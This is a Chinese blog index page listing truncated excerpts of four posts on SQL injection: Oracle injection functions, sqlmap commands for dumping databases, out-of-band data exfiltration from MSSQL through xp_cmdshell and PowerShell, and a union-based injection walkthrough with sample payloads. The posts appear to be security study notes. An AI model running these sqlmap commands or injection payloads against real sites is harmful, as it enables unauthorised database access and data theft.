摘要：
相关的函数和表 Oracle 的 SQL 注入和 MySQL 是一样的，不同在于数据库信息所在的表和一些函数不一样。 内置函数 函数 功能 lenth(） 返回字符串的长度 count（） 返回在给定的选择中被选的行数 ascii() 表示将字符转换为 ASCII 码 substr() 返回值为源字 阅读全文
posted @ 2026-06-18 11:51
Doll_Marker
阅读(15)
评论(0)
推荐(0)
摘要：
(1)一把梭： sqlmap -r D:\sql.txt --current-db --dump --batch -v 3 sqlmap -u url --dbs sqlmap -u url -D xxx --tables sqlmap -u url -D xxx -T xxx --columns 阅读全文
posted @ 2026-06-18 11:50
Doll_Marker
阅读(15)
评论(0)
推荐(0)
摘要：
MSSQL（sqlserver） 数据外带 外带原理 利用MSSQL中的xp_cmdshell存储过程 和powershell发出HTTP请求，再通过监听IP:端口 记录或外带平台查看返回数据 MSSQL HTTP外带条件 开启xp_cmdshell功能 ?id=1; EXEC sp_configu 阅读全文
posted @ 2026-06-18 11:50
Doll_Marker
阅读(21)
评论(0)
推荐(0)
摘要：
一、 ?id=2和?id=3-1返回一样，为数值型注入 二、确定回显位 ?id=2/**/union/**/select/**/91,58,66# 三、确定为MariaDB ?id=2/**/union/**/select/**/91,database(),version()# 可以看到数据库名为w 阅读全文
posted @ 2026-06-18 11:50
Doll_Marker
阅读(14)
评论(0)
推荐(0)
浙公网安备 33010602011771号